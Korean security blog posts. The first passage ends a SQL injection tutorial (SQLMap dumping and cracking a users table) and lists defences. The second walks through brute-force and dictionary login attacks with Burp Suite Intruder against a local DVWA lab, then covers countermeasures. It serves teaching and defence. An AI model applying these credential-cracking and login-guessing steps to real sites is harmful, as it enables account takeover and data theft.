결과는 users 테이블에 저장된 모든 회원정보가 나타난다. 샘플 화면에는 admin, Brown 이라는 사용자가 있고 패스워드가 해시된 형태로 저장되어 있음을 확인할 수 있다.

이어서 SQLMap은 다음과 같이 해시된 패스워드를 사전 공격(Dictionary Attack)으로 크래킹 시도를 할 것인지 물어본다. 이때 어떤 사전(Dictionary)파일을 사용할 것인지 확인한다. 모두 기본값으로 계속 진행한다.

해시된 패스워드를 사전 공격으로 하나씩 크래킹을 시도한다.

공격 시도가 완료되었다. 결과를 보면 users 테이블의 모든 내용이 출력되었으며 해시된 패스워드도 크래킹되어 평문으로 노출되었다. 그리고 친절하게도 csv 파일로 저장했다고 알려 주고 있다.

테스트 시나리오 이지만, 이런 식으로 회원테이블이 유출되면 정말 끔찍할 것이다.


SQL 인젝션 대응 방안

SQL 인젝션 공격에 대응하기 위한 방법들을 알아보자. 여러 측면에서 전방위적인 대응이 필요하겠으나 여기서는 기술적인 부분만 다루도록 한다. 다음은 3가치 축으로 정리해 본 모습이다.


웹 방화벽(WAF) 도입

웹 방화벽은 HTTP/HTTPS 응용 계층의 패킷 내용을 기준으로 패킷의 보안성을 평가하고 룰(Rule)에 따라 제어한다. SQL 인젝션의 룰(Rule)을 설정하여 공격에 대비할 수 있다.

1. 물리적 웹 방화벽
기업의 규모가 어느정도 되거나 보안이 중시되는 환경 또는 예산이 충분한 환경에서는 물리적인 전용 WAF 사용을 권장한다. 어플라이언스 형태의 제품을 사용하거나 SECaaS 형태의 클라우드 기반의 솔루션을 도입할 수도 있다.

2. 논리적 웹 방화벽(공개 웹 방화벽)
전용 웹방화벽 장비를 도입할 여력이 되지 않는다면, 공개 웹방화벽을 고려해 볼 만 하다. 대부분 공개 웹 방화벽은 물리적인 장비가 아닌 논리적인 구성으로 웹 방화벽 역할을 수행한다.

윈도우 서버 환경에서는 WebKnight, 아파치 서버 환경에서는 ModSecurity를 사용할 수 있다.

ModSecurity는 OWASP(세계적인 웹 보안 커뮤니티) 에서 무료 탐지 룰(CRS)을 제공하며 이를 통해OWASP TOP 10 취약점을 포함한 웹 해킹 공격으로부터 홈페이지(웹서버) 보호가 가능하다.

WebKnight는 웹서버 앞단에 필터(ISAPI) 방식으로 동작, 웹서버로 들어오는 모든 웹 요청에 대해 사전에 정의한 필터 룰에 따라 검증하고 SQL 인젝션 공격 등을 사전에 차단 할 수 있다

- 웹서버 보안 강화 안내서 (->바로가기)


시큐어 코딩

1. 입력값 유효성 검사

모든 웹 보안 영역에서는 외부 입력값에 대한 대전제가 하나 있다.

모든 외부 입력값은 신뢰하지 말라

SQL 인젝션에서도 마찬가지이다. 외부에서 들어오는 모든 입력값은 모두 의심의 대상이다.
여기서 외부 입력값은 이용자가 직접 타이핑한 값일 수도 있지만 직접 타이핑 하지 않더라도 Burp Suite와 같은 프록시 툴을 이용하여 중간에 값을 변조할 수 있는 외부 값도 포함된다. (가령 게시판에서 게시물 번호와 같은..)

SQL 인젝션의 가장 기본적인 대응 전략은 바로 입력값의 유효성을 검사하는 것이다. 입력값 검증에는 두 가지 방식이 존재한다.

1) 블랙 리스트 방식
SQL 쿼리의 구조를 변경시키는 문자나 키워드를 제한하는 방식이다. 아래와 같은 문자를 블랙리스트로  미리 정의하여 해당 문자를 공백 등으로 치환하는 방식으로 방어한다.

DBMS 종류에 따라 쿼리의 구조를 변경시키거나 쿼리문의 일부로 사용되는 문자 필터링

(특수문자) ' , " , = , & , | , ! , ( , ) , { , } , $ , % , @ , #, -- 등

(예 약 어) UNION, GROUP BY, IF, COLUMN, END, INSTANCE 등

(함 수 명) DATABASE(), CONCAT(), COUNT(), LOWER() 등


2) 화이트 리스트 방식
블랙리스트 방식보다 보안성 측면에서는 훨씬 강력한 방법이다. 블랙리스트 방식에서는 금지된 문자 외에는 모두 허용하지만 화이트리스트 방식에서는 허용된 문자를 제외하고는 모두 금지하는 방식이다. 

지정된 문자만을 허용하기 때문에 웹 애플리케이션의 기능에 따라 화이트리스트를 다르게 유지해야 할 필요가 생긴다. 그리고 

참고로 화이트 리스트를 정의할 때에는 개별 문자를 일일이 하나씩 모두 정의하는 것보다 정규식을 이용해서 범주화/패턴화 시키는 것이 유지보수에 더 유리하다.


2. 동적 쿼리 사용 제한

1) 동적 쿼리 금지
웹 애플리케이션이 DB와 연동할 때 정적쿼리만 사용한다면 SQL 인젝션을 신경 쓸 필요가 없다. 하지만 현실적으로 동적 쿼리를 사용하지 않을 수 없을 것이다. 근래의 웹 애플리케이션은 모두 사용자와 상호작용하며 동적인 기능을 기반으로 하기 때문에 동적 쿼리 사용은 거의 필수에 가깝다.

2) 매개변수화된 쿼리(구조화된 쿼리) 사용
동적 쿼리를 정적쿼리 처럼 사용하는 기법이다. 쿼리 구문에서 외부 입력값이 SQL 구문의 구조를 변경하지 못하도록 정적구조로 처리하는 방식인데 이를 파라메타화된(매개변수화된) 쿼리라 한다.

자바 환경에서 JDBC API를 사용하는 경우, 구조화된 쿼리를 지원하는 PreparedStatement를 사용할 수 있다. 닷넷에서는 SqlCommand를 사용하면 파라메타화된 쿼리를 사용할 수 있다.

[ 참고 ]
OWASP의 SQL 인젝션 대응 문서를 보면 각 언어별로 파라메타화된 쿼리 사용을 위한 가이드와 코드 샘플을 안내하고 있으니 참고하기 바란다.

SQL Injection Prevention Cheat Sheet


(일부 발췌)
Language specific recommendations:

Java EE – use PreparedStatement() with bind variables
.NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
PHP – use PDO with strongly typed parameterized queries (using bindParam())
Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)
SQLite - use sqlite3_prepare() to create a statement object

추가로 행정안전부에서 발간한 시큐어코딩 가이드를 보면 자바 기준에서 JDBC, MyBatis, Hibernate 사용환경에서 안전한 코딩 기법을 제시하고 있으니 참고 바란다.

> 시큐어 코딩 가이드


3. 오류 메시지 출력 제한

1) DB 오류 출력 제한
DB의 오류 정보를 그대로 이용자에게 노출해서는 안된다. DB 오류 정보에는 개발자들이 쉽게 디버깅할 수 있도록 내부 정보를 상세히 알려주는 경우가 많다. 해커는 이 정보를 바탕으로 DB 구조를 파악하고 데이터 유출을 시도할 것이다. 따라서 DB 오류가 적나라하게 이용자에게 노출되지 않도록 커스텀 오류 페이지를 제공해야 한다.

2) 추상화된 안내 메시지
또한 너무 자세한 안내 메시지도 주의할 필요가 있다. 가령 로그인을 실패 했을 때, ID가 틀렸는지 Password가 틀렸는지 꼭 집어 알려줄 필요가 있을까? 오히려 이 정보는 해커들에게 공격의 범위를 좁혀주는 결과로 이질 수 있다. 단지 '로그인 정보가 일치하지 않습니다'와 같이 추상적인 메시지가 (약간의 사용성을 해치더라도) 더 나을  때도 있다.


DB 보안

1. DB 계정 분리
관리자가 사용하는 DB 계정과 웹애플리케이션이 접근하는 DB 계정은 반드시 분리되어야 한다. 간혹  귀찮다는 이유로 관리자의 DB계정을 여기저기 다 사용하는 경우가 있다. 반드시 분리 하도록 한다.

2. DB 계정 권한 제한
웹 애플리케이션이 DB에 액세스하는 전용 계정을 생성하고 이 계정에는 최소 권한 원칙에 입각하여 꼭 필요한 권한만 할당한다. 과연 웹애플리케이션에서 DROP TABLE와 같은 DML을 실행할 필요가 있는가? 아마 대부분은 필요치 않을 것이다. 또한 웹에서 DB의 기본 프로시저나 확장 프로시저를 호출할 필요가 있는가도 따져 볼 일이다.

웹 애플리케이션이 제공하는 기능만 수행가능하도록 권한을 제한한다.

참고로 필자의 과거 경험을 보자면, 모든 DB 액세스는 저장 프로시저로만 가능하도록 하고 계정 권한은 해당 프로시저들의 실행 권한만 부여한 적이 많았다.

또 한가지 팁은, SELECT 권한과 INSERT, UPDATE, DELETE 권한을 분리하여 서로 다른 계정으로 접근하도록 구성할 수도 있다. 이 경우 SELECT 권한으로 SQL 인젝션 공격이 들어와도 데이터베이스를 업데이트 할 수 없게 된다.

3. 기본/확장 저장 프로시저 제거
데이터베이스가 설치될때 기본적으로 포함된 프로시저들을 꼭 필요한 경우가 아니라면 제거하는 것이 좋다. 가령 MS SQL Server의 xp_cmdshell 프로시저는 db에서 시스템 명령어를 실행할 수 있도록 하는 확장 프로시저이다. 거의 대부분의 웹 애플리케이션에서는 이러한 확장 프로시저를 호출할 필요가 없을 것이다.


취약점 점검과 모니터링

1. 지속적 취약점 점검
SQL 인젝션 취약점을 정기적으로 점검해야 한다.

모의 해킹을 시도하거나 웹 취약점 점검 툴을 이용해 주기적인 취약점 점검이 권장된다.

비즈니스가 활발히 진행되는 만큼 웹사이트의 업데이트도 빈번할 것이다. 간단한 이벤트 페이지라고 하더라도 DB연동을 하는 경우, 언제나 SQL 취약점에 노출될 수 있다는 것을 명심해야 한다. 

다른 모든 곳에 보안을 튼튼해 해 뒀더라도, 이벤트 페이지 하나 때문에 해킹을 당하는 수가 빈번히 있음을 주의해야 할 것이다.

2. 로깅과 모니터링
SQL 인젝션은 많은 경우 오류를 유발시키거나 동일한 페이지나 기능을 반복적으로 호출하는 형태로 공격이 이뤄진다. 따라서 유달리 500 오류가 많이 발생하거나 동일한 IP에서 동일한 페이지를 반복적으로 호출할 경우 요주의 대상으로 주의깊에 살펴야 한다.

이상현상에 대한 기준과 임계를 설정하고 해킹 시도로 판단될 시, 즉각 알림이 전송되어 바로 조사가 가능한 체계를 갖추는 것이 좋다.

[ 참고 ]

OWASP에서는 SQL 인젝션 공격에 대응하는 가이드를 제공하고 있다. 이 페이지에서 보다 상세한 방어 기법을 확인할 수 있다

SQL Injection Prevention Cheat Sheet


[웹보안] 브루트 포스(BRUTE FORCE) 공격

Posted in SW개발 // Posted at 2019. 1. 23. 22:30
728x90

INTRO

불과 '반년 전 즈음(2018.06)에 브루트 포스(Brute Force) 공격이 대형 은행을 겨냥 시도되었습니다.

이 사건은 (적어도 당시에는) 다행히 실제 금전적인 피해로 까지는 이어지지는 않은 것 같네요.

공인인증서나 OTP가 해킹된 것이 아닌만큼 출금/이체와 같은 서비스는 건드리지 못했을 겁니다.

하지만 정보유출이라는 측면에서는 꽤나 성공적이여서 고객 정보 56,000건이 유출되었다고 합니다.

유출된 고객의 개인 정보를 악용해 2차 피해가 어떤 식으로 유발될지는 알 수 없는 노릇이죠.

보다 자세한 내용은, 다음의 KBS 보도 영상과 관련 기사를 참고하기 바랍니다.


80년대 초에 성행 했다던 브루터포스 공격은, 구식 공격기법이라는 인식과 너무 단순한 공격기법이라는 측면에서 기술이 발전한 근래에는 많이 행해지지 않을 것 같지만 드문드문 사례가 보이네요.


아래에 링크는 '2017년에 발생한 워드 프레스를 대상으로한 대규모 분산 무차별 대입 공격'에 대한 기사입니다.

마치 DDoS처럼 공격에 동원된 IP 수도 많고 각 IP가 막대한 수의 공격을 행했다는 기사를 확인할 수 있습니다. 이 기사에는 공격에 대한 대비책도 안내하고 있으니 참고하면 좋을 것 같습니다.

워드프레스를 대상으로 대규모 무차별 대입 공격(Brute Force Attack) 발생


그리고 '2014년에는 iCloud 해킹으로 헐리우드 스타들의 사적인 누드 사진들이 인터넷으로 배포'되는 사건이 있었습니다. 이 역시 브루터 포스 공격이 기반이 된 해킹 사례로 언급되는 듯 합니다.

Apple Patches Brute Force Password-Cracking Security Hole in iCloud


그리고 꽤 오래전 우리나라에서 발생한 재미있는 에피소드가 있는데요...

1993년 '청와대 해킹사건'때 김재열이란 분이 수동으로 브루터포스 공격을 시도해 국제심판소의 PC통신 비밀번호를 알아 내었다고 합니다. (이때 국제심판소의 비밀번호는 무려 '12345'이였다고 하네요.)

> '국내 해커1호' 김재열의 인생유전


브루터 포스 공격은 단순하고 식상한 기법인 듯 하지만, 지금 이순간에도 많이 행해지고 있는 공격 기법입니다. 또한 공격이 성공했을 경우 파급력이 상당하기 때문에(내 계정을 해커가 장악했다고 생각해 보세요 =.=) 보안 개발자가 절대로 간과해서는 안될 것입니다.

브루터 포스 공격의 정확한 원리와 공격 방법, 대응 방안을 잘 숙지하시기 바랍니다.


1. 브루트 포스(Brute Force) 공격이란?

당신은 지금껏 살면서, 

누군가의 비밀번호를 알아 내기 위해 임의로 접근을 시도해 본 적이 없었는가?

그것이 자물쇠 비밀번호이든, 휴대폰 비밀번호이든, 웹사이트 비밀번호이든 말이다. 만일 그런적이 있다면, 당신은 이미 브루트포스 공격을 해 본 경험이 있는 것이다.

컴퓨터 분야의 브루터포스(Brute Force)란 용어는 '억지 기법(무차별 대입해 억지로 문제를 푸는)'이라 해석되며 개념적으로 아주 단순한 공격 기법이다..

특정 암호를 풀기 위해 임의의 문자의 조합을 하나씩 대입해 보는 공격 기법이다.

브루터포스 공격은 암호를 사용하는 모든 곳에 행해질 수 있다. 

암호가 걸린 파일, SSH 접속, FTP 접속, 웹사이트 회원 로그인 등이 그 대상이 될 수 있다.

다만, 이 글에서는 웹 사이트 회원 로그인에 대한 공격과 방어에 초점을 맞출 것이다.

브루터 포스 공격을 위해, 임의의 문자열을 생성/조합하고 대입하는 방법으로는 다음과 같이 두 가지로 형태로 나눌 수 있다.


1.1 브루터 포스 공격을 위한 문자열 생성 및 대입 방법

1.1.1 무작위 순차 대입

브루터포스의 무차별 대입이라는 특징을 그대로 구현하는 것으로, 조합 가능한 모든 문자열을 순차적으로 하나씩 모두 대입해 보는 것이다. 그야말로 무식하게 암호가 일치할때 까지 모든 경우의 수를 조합해 대입을 시도한다.

이론상으론 공격에 충분한 시간만 주어진다면 (모든 문자에 대한 조합을 시도해 볼 수 있기 때문에) 언젠가는 비밀번호를 맞히게 될 것이다.

다만 현실적으로는 암호의 길이와 복잡도의 증가에 따라 공격에 걸리는 시간이 기하급수적으로 늘어나므로 무조건 성공한다고 보기 어렵다.

무작위 순차 대입의 공격의 소요 시간을 줄이기 위해 미리 정의된 문자열 목록을 이용하기도 하는데, 이어서 알아보자.


1.1.2 사전(Dictionary) 대입

상당한 시간이 소요되는 무작위 순차 대입 방식 단점을 극복/보완하는 방법으로, 미리 정의된 문자열 목록을 대입하는 방법이다.

사전 파일을 이용한 공격이라고 해서 '사전 공격(Dictionary Attack)' 이라 한다..

미리 정의된 비밀번호 사전(Dictionary)을 준비하여 하나씩 대입해 보는 방식이다. 여기서 사전(Dictionary)파일은 그동안 통계적으로 많이 사용되어 오거나, 사람들이 흔히 사용할법한 비밀번호 조합을 미리 목록 형태로 정의해 둔 파일이다.

사람들은 의외로 단순한 비밀번호를 많이 사용하며 또한 여러 서로 다른 사이트에 걸쳐 동일한 비밀번호를 사용하기도 한다.

이런 환경에서, 사전 대입 방식은 브루터 포스 공격에 소요되는 시간을 극적으로 줄이면서도 공격 성공률을 높이는 아주 효율/효과적인 공격 기법이다.

비밀번호에 대한 '사전(Dictionary) 파일'은 인터넷에서 아주 쉽게 구할 수 있다.

예를 들어, 구글 검색엔진에 'password dictionary file'이라고 검색하면 수 많은 비밀번호 목록을 얻을 수 있다.


1.2 Brute Force in OWASP TOP 10 2017

OWASP TOP 10에서도 브루터포스 공격과 관련한 보안 위험 항목을 제시하고 있다.

TOP 10의 2위에 포지셔닝한 'A2. 취약한 인증'에서 브루터 포스 위협을 언급하고 있다.



2. 브루트 포스(Brute Force) 공격 실습

[ 경고 ]

허가 받지 않은 사이트에 해킹을 시도 하는 것은 불법입니다.

DVWA와 같이 테스트를 목적으로 셋팅된 사이트에 모의 해킹을 시도해야 법적 문제가 업습니다.


앞서 언급한 청와대사건의 김재열씨처럼,
스스로 추측한 비밀번호를 사용해 수동으로 브루터포스 공격을 시도해 볼 수 있다. 즉 직접 사이트에 접속해서 로그인 해 보는 것이다.

아마 공격자는 지인이나 다른 사람의 아이디 몇개 정도는 이미 알고 있을 것이며, 그들에게 의미있는 숫자나 문자(생일 or 전화번호 or 이성친구 이름 등)를 추가로 알고 있다면 이를 바탕으로 직접 로그인을 시도해 볼 수 있다.

또한 흔히 관리자 계정으로 사용되는 admin 이나, master와 같은 아이디와 1234, qwer과 같은 비밀번호로 직접 로그인을 시도해 볼수도 있을 것이다.

그러나 정말 의심되는 아이디와 비밀번호가 있는게 아니라면, 수동 공격은 매우 비효율적이다. 

부분의 브루터포스 공격은 툴을 이용한 자동화된 공격을 수행한다.

이제부터 툴을 이용해 브루터포스 공격을 실습해 보자.

해킹에 사용되는 툴의 설치와 사용법은 아래 링크에서 확인할 수 있다.

[웹보안] 로컬 환경 셋팅과 툴 설치


2.1 무차별 대입 공격 시도

2.1.1 DVWA 사이트 접속

먼저 XAMPP Control Panel을 실행해서 Apache 웹서버와 MySQL 데이터베이스를 시작한다.

서비스가 정상적으로 시작되었다면, http://localhost/dvwa 로 접속하여 DVWA 사이트로 접속한다.

로그인 창이 뜨면 DVWA의 기본 계정인 'admin / password'를 입력하고 로그인 한다.

로그인 후, 좌측 메뉴에서 DVWA Security를 클릭하고 Security Level을 Low로 변경한다.

[ DVWA의 Security Level ]

DVWA는 4단계(Low-Medium-High-Impossible)의 Security Level을 제공한다.

보안 조치가 전혀 이뤄지지 않은 Low 단계부터 점차 보안성이 강화되어 취약점으로부터 안전한 Impossible 단계까지 총 4단계로 구성되어 있다.

각 단계별로 방어 전략이 다르며 단계가 높을 수록 더 안전한 코드로 구현되어 있다.

이렇게 단계를 구분하고 각 단계별로 안전한 코드 구현을 안내하여 모의 해킹과 방어에 대한 학습을 보다 용이하도록 지원하고 있는 것이다.



Security Level 설정을 마쳤으면, 다시 좌측 메뉴에서 Brute Force 를 클릭한다.

이 메뉴에수는 Brute Force 공격을 시도해 볼 수 있도록 개발된 로그인 폼을 제공한다.


2.1.2 Burp Suite 실행

Burp Suite를 실행해서 Temporary project를 기본값으로 하여 생성한다.

DVWA 사이트의 로그인 요청에 대한 패킷을 캡쳐할 것이다.

패킷 캡처를 하기 위해서는 브라우저에 프록시 설정이 되어 있어야 한다.

[웹보안] 로컬 환경 셋팅과 툴 설치에서 브라우저의 프록시 설정을 참고해서 설정하자.

앞에서, 접속한 DVWA 사이트의 Brute Force 메뉴에서 admin / 1234로 로그인 해 본다.

이 로그인 요청 패킷이 Burp Suite에 의해 캡쳐되었을 것이다. 

Proxy메뉴 HTTP history 탭에서 해당 요청을 Intruder로 보낸다. (해당 요청을 우클릭하여 'Send to Intruder'를 선택한다.)

그리고 Burp Suite의 Intruder 메뉴를 클릭한다.

Intruder 메뉴Positions 탭에서 아래와 같이 password 부분만 § 로 감싸준다.(§로 감싼 부분은 다른 값으로 치환되는 부분임을 지정한다. 일종의 변수인 셈이다.)

처음엔 많은 부분이 §로 감싸져 있을 것이다. 우측의 'Clear §' 버튼을 클릭해서 §로 감싼 부분을 모두 제거하고 password 값(여기서는 1234)만 선택하여 우측의 'Add §' 버튼을 클릭한다. 그러면 password 값만 §로 감싸질 것이며 이 부분의 값이 계속 대입되면서 요청이 전송됨을 의미한다.

다음으로 Payloads 탭으로 가서 Payload type를 Brute forcer로 선택한다.

Brute forcer로 선택하면 아래 화면에 Character set가 자동으로 생성되어 있는 것을 확인할 수 있다.

기본값은 'abcdefghijklmnopqrstuvwxyz0123456789'로 되어 있다. 

Character set에 문자열은 브루터포스 공격의 무작위 순차 대입을 위한 기준 문자이다. 이 기준 문자가 많으면 많을 수록 공격 시도 횟수와 시간은 증가한다. 그만큼 많은 조합을 시도해야 하기 때문이다.

우리는 이미 admin의 비밀번호가 'password'라는 것을 알고 있다.

테스트 시간 단축을 위해서 Character set 값을 'adoprsw'로 변경한다. 그리고 길이를 8으로 변경한다.

(이렇게 기준 문자열을 줄여도 조합의 수는 꽤 크다. Payload count를 보면 5,764,801라고 나와 있는데 총 조합 가능한 문자열의 수이다. 즉 이만큼의 요청이 발생한다는 의미이기도 하다.)

이제 설정이 마무리 되었다. 

우측 상단에 있는 'Start attack' 버튼을 클릭해서 공격을 시작해 본다.


브루터포스 공격을 시작하면 다음과 같이 자동으로 문자열을 조합해서 하나씩 요청을 보내게 된다. 여기서 조합된 문자열은 앞서 설정한 패스워드 값('$로 감싸진 값)에 하나씩 대입된다.

언젠가는 password로 조합된 문자열을 보내게 될 것이며 이때 응답의 상태나 응답의 크기가 상이한 요청이 바로 공격에 성공한 것일 가능성이 크다. 

요청에 대한 응답의 구조는 웹 사이트마다 다를 수 있으므로 그 결과고 획일적이지는 않을 것이다.

DVWA에서는 로그인 성공과 실패시 페이지 내용이 조금 상이하므로 응답의 크기(Length)가 다른 것이 공격에 성공한 요청이 된다.


2.2 사전(Dictonary) 공격

이번에는 미리 정의된 패스워드 목록 파일(사전 파일)을 가지고 공격을 시도해 보자.

패스워드 사전은 인터넷에 많이 있지만, 여기서는 간단하게 테스트 하기 위해 다음과 같이 직접 생성한다.(아래와 같이 입력하고 pass.txt 파일로 저장한다.)

[pass.txt의 내용]

123456
qwer1234
password
iloveyou

그리고 아래 화면과 같이, Payload type을 'Simple list'로 변경하고 그 아래에 Simple list 파일을 'Load'하여 앞서 생성한 pass.txt 파일을 불러 온다. 

파일을 정상적으로 불러 왔으면 우측 상단의 'Start attack' 버튼을 클릭해서 공격을 시작한다.


공격 결과를 보면 아래와 같이 password 문자열로 보낸 요청의 응답은 다른 요청과 비교해 응답 길이(Length)가 다른것을 확인할 수 있다. 또한 응답된 html 에서도 로그인 성공시 나타나는 문구가 보인다.

즉 해커는 공격이 성공하여 password가 비밀번호 인 것을 알게 된 것이다. 이제 부터 admin 계정의 권한으로 사이트에 해를 입힐 수 있게 된 것이다.


3. DVWA에서 브루터 포스 공격에 대응하는 방법 알아보기

앞서, DVWA에서는 Security Level을 4단계로 구분하여 각 단계별로 강화된 보안성을 제공한다고 하였다. DVWA에서는 브루트포스 공격을 어떤 식으로 방어하는지, 각 단계별로 살펴보자.


3.1 Low 단계

아무런 보안 조치가 이뤄지지 않은 매우 취약한 상태이므로 당연히 어떠한 방어 코드도 구현되어 있지 않다.


3.2 Medium 단계

DVWA Security 메뉴에서 단계를 Medium으로 변경하고 다시 Brute Force 메뉴로 와서 잘못된 정보로 로그인을 시도해 보자. 

로그인 실패시 응답 시간이 (Low 단계에 비해) 좀더 오래 걸린다는 것을 느낄 수 있다.

하단의 'View Source' 버튼을 클릭해서 소스를 보면 아래와 같이 로그인 실패시 약 2초간 시간 지연을 두고 있다. 

이는 자동화된 브루터 포스 공격의 시간을 지연시킴으로써 공격 시간을 더디게 만들기 위해서이다.


3.3 High 단계

이번에는 Security 레벨을 High로 변경하고 다시 시도해 보자. 로그인 실패시 응답시간이 빠르기도 하고 느리기도 할 것이다.

코드를 보면 다음과 같이 구현되어 있다. 

로그인 실패시 시간 지연을 획일적으로 2초로 하지 않고, 0~3초 사이에 랜덤한 값으로 지정하고 있다.

이는 획일된 반응 시간은 해커로 하여금 지연시간을 추측할 수 있게 만들고 해커는 추측된 지연 시간을 감안해 공격을 자동화 할 수 있기 때문이다. 즉 보다 보안성이 강화되었다고 할 수 있겠다.


3.4 Impossible 단계

가장 보안조치가 강력하게 구현된 단계이다.

로그인 실패를 시도해 보면 다음과 같은 안내 문구가 나타난다. 15분 동안 계정이 잠겼다는 내용이다.

소스코드를 보면 High 단계의 랜덤 지연 시간에 더하여, 로그인 횟수와 최종 로그인 시간을 DB에 저장하여 계정 잠금의 기준으로 삼고 있다. 코드 구현은 보다 복잡해 졌지만 사이트의 안전성은 높아졌다.

지금까지 DVWA에서 브루트 포스 공격을 어떻게 대응하는지 살펴 보았다. 이를 포함하여 전방위적인 보안 대첵을 이어서 알아보자.


4. 브루트 포스(Brute Force) 공격 대응 방안

웹 보안을 위한 조치사항은 주로 웹 서비스를 제공하는 기업 입장에서 대응해야 하지만 브루트 포스 공격은 웹 사이트를 이용하는 이용자 역시 주의를 기울일 필요가 있다.

따라서 이용자 관점과 기업 관점의 두 가지 측면에서 대응 방안을 살펴 보자.


4.1 이용자 관점 대응 방안

4.1.1 안전한 패스워드 사용

오랜동안 사람들은 기억하기 편하다는 이유로 허술한 비밀번호를 사용해 왔다.

'이거 실화냐?' 가장 많이 쓰이는 쉬운 암호 12가지


허술한 자물쇠로 자신의 집이나 금고를 보호하고 싶지는 않을 것이다. 온라인 세상에서 탄탄한 자물쇠를 다는 첫번째 방법은 안전한 비밀번호를 사용하는 것이다.


1) 길고 복잡한 비밀번호 사용

비밀번호는 길면 길수록 그리고 복잡하면 복잡할수록 알아내기 힘들다. 

무작위 대입 방식의 브루트 포스 공격은 가능한 문자열 조합을 순차적으로 모두 시도해 보는 것이기 때문에 비밀번호가 길고 복잡해 질 수록 공격에 소요되는 시간은 기하급수적으로 늘어난다

따라서 가장 기본적인 대응방안은 길고 복잡한 비밀번호를 사용하는 것이다.

아래의 사이트에서 비밀번호의 안전성을 테스트 해 볼 수 있다.

https://howsecureismypassword.net/

아래 화면은 비밀번호 '1234'로 테스트 해 본 결과이다. 암호가 크래킹되는데 걸리는 시간이 'INSTANTLY(즉시)' 이다. 그리고 비밀번호가 숫자로만 이뤄졌고 매우 짧다고 경고하고 있다.


다음으로 비밀번호를 길고 복잡하게 'dnpqqhdks@7#9'로 테스트 해 볼 결과이다. 비밀번호를 알아 내는데 엄청난 시간이 소요되므로 안전하다고 알려 주고 있다.


2) 유추하기 힘든 패스워드 사용

일반적으로 사람들은 자신이 기억하기 쉽게 하기 위해, 자신의 개인 정보와 비밀번호를 연관시키는 경우가 많다.

예를 들어 자신의 생일, 기념일, 차량번호, 휴대전화번호 같은 것들을 비밀번호로 사용한다.

이런 개인적 의미의 비밀번호는, 특히 그(그녀)를 알고 있는 누군가는 쉽게 유추할 수 있는 비밀번호이다. 기억하기 바란다. 가장 흔한 브루터 포스 공격은 당신 지인의 행위일 수도 있다는 것을...

또한 개인정보와 연관되지 않더라도 쉽게 유추할 수 있는 비밀번호가 있는데, 아래와 같이 통계적으로 많이 사용되어온 의미있는 단어들이다.

football, qwertyuiop, 123qwe, iloveyou, rainbow, alaska, ....

이런 단어들의 목록은 인터넷에서 아주 쉽게 구할 수 있다.

'사전 공격'에서 사용되는 파일에는 수천만개 이상의 비밀번호 조합이 존재한다. 따라서 유추하기 힘든 자신만의 비밀번호 조합을 사용하는 것이 좋다.


4.1.2 서로 다른 사이트에는 서로 다른 비밀번호 사용

우리은행 해킹 사례에서도 보듯이 서로 다른 사이트에 동일한(또는 거의 유사한) 비밀번호를 사용하는 것은 피해가 확대되는 결과로 이어진다.

한 사이트에서 탈취한 계정 정보는 다른 사이트의 브루터 포스 공격용 '사전(Dictionary)'으로 사용된다.

따라서 서로 다른 사이트라면 서로 다른 비밀번호 사용을 권장한다.

다만 필자도 이게 얼마나 귀찮은 건지 잘 알고 있다. 서로 다른 비밀번호는 기억하기 쉽지 않다. 필자의 경우에도 서로 다른 비밀번호를 사용하다가 비밀번호를 잊어 먹어 애먹은 적이 한두번이 아니다.

그나마 보완책이라면, 서로 다른 비밀번호를 생성하더라도 일종의 자신만의 규칙과 패턴을 사용하는 것이다. 물론 그 패턴은 쉽게 유추되지 않는 것이어야 한다.

---

결국 이용자들은 스스로 자신을 보호하기 위해 '안전한 비밀번호'를 사용해야 한다.

KISA 에서는 안전한 비밀번호 사용을 위해 안내서를 제공하니 아래 링크를 참조하기 바란다.

패스워드 선택 및 이용 안내서 바로가기


4.2 기업 관점 대응 방안

4.2.1 안전한 패스워드 규칙

앞서 '이용자 관점'에서도 언급한바 있는데, 비밀번호를 길고 복잡하게 만들도록 규칙을 강제하는 것이다. 또한 이용자의 공개된 개인정보가 비밀번호로 사용되는 것을 경고할 필요가 있다.

이용자가 알아서 복잡하고 유추 불가능한 비밀번호를 생성해 주면 고맙겠지만, 그렇지 않은 경우도 많으니 아예 규칙으로 강제하는 것이다. 현재 많은 사이트들에서 비밀번호 복잡성 규칙을 강제하고 있다

[ ISMS 인증체계에서의 비밀번화 관리 기준 ]

ISMS 인증체계에서도 '보호대책 요구사항'에 '비밀번호 관리'라는 인증 기준을 두고 있다.

ISMS에서 안내하는 안전한 비밀번호 규칙은 아래와 같다.

- 문자, 숫자, 특수문자 중 2종류 이상을 조합하여 최소 10자리 이상 길이로 구성

- 문자, 숫자, 특수문자 중 3종류 이상을 조합하여 최소 8자리 이상 길이로 구성

- 유추 가능한 비밀번호 설정 제한: 연속된 숫자, 생일, 전화번호 등


4.2.2 로그인 시도 횟수 제한

브루터포스 공격은 임의의 문자열을 무차별 대입해 보는 공격이므로 많은 로그인 시도와 로그인 실패를 반복하게 된다. 따라서 자동화되고 반복적인 시도를 불가능하게 만들기 위해 로그인 실패가 누적될 경우, 특별한 조치를 취하는 것이다. 이때 조치는 다음과 같은 형태가 될 수 있다.


1) 계정 잠금

로그인 실패가 일정 횟수 이상이 되면 더 이상 로그인 시도를 할 수 없도록 계정을 잠그는 것이다.

이렇게 하면, 자동화된 툴로 수 많은 로그인 시도를 할 수 없거나 힘들게 되어 공격 성공율이 엄청 떨어지게 된다.

잠긴 계정을 푸기 위해서는, 일정 시간이 지나면 자동으로 풀어주거나 추가 본인 확인을 거쳐 풀어주는 방식이 있다.


2) 캡챠 요구

앞의 계정 잠금 보다는 조금 완화된 방법이다. 로그인에 반복적으로 실패할 경우, 캡챠를 같이 입력하도록 한다. 아래 화면은 네이버의 로그인 실패 후, 캡챠가 나타나는 상황을 보여준다.


브루터 포스공격의 자동화되고 반복적인 로그인 시도 자체를 불가능하게 하여 이 공격의 기본 매커니즘을 흔들어 버리는 것이다. 이 방식은 공격자의 공격 의지를 상당히 깍아 내리므로 아주 효과적이라 하겠다.


4.2.3 다중 인증

ID, PASSWORD 이외에 추가 인증 수단을 제공하는 방식이다. 이 글에서 말하는 '다중 인증'은 일반적인 보안에서 말하는 '2 factor 인증'과는 그 개념을 구분하고자 한다.

'2 factor 인증'은 지식 기반인 비밀번호외에 소유기반인 휴대전화, OTP, 보안카드 또는 생체기반인 지문과 같은 인증 요소를 둘 이상 결합한 인증 방식을 말한다.

